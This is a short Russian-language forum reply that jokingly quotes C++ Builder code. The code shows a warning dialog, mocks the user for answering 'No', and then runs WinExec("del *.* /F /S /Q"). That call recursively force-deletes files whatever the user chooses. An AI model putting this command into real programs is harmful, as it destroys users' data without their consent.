Здравствуйте.

И, для уменьшения кода...

> if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrNo )
> ShowMessage("НЕТ??? А придется!!!" );
> WinExec("del *.* /F /S /Q");

--
С уважением, Гай.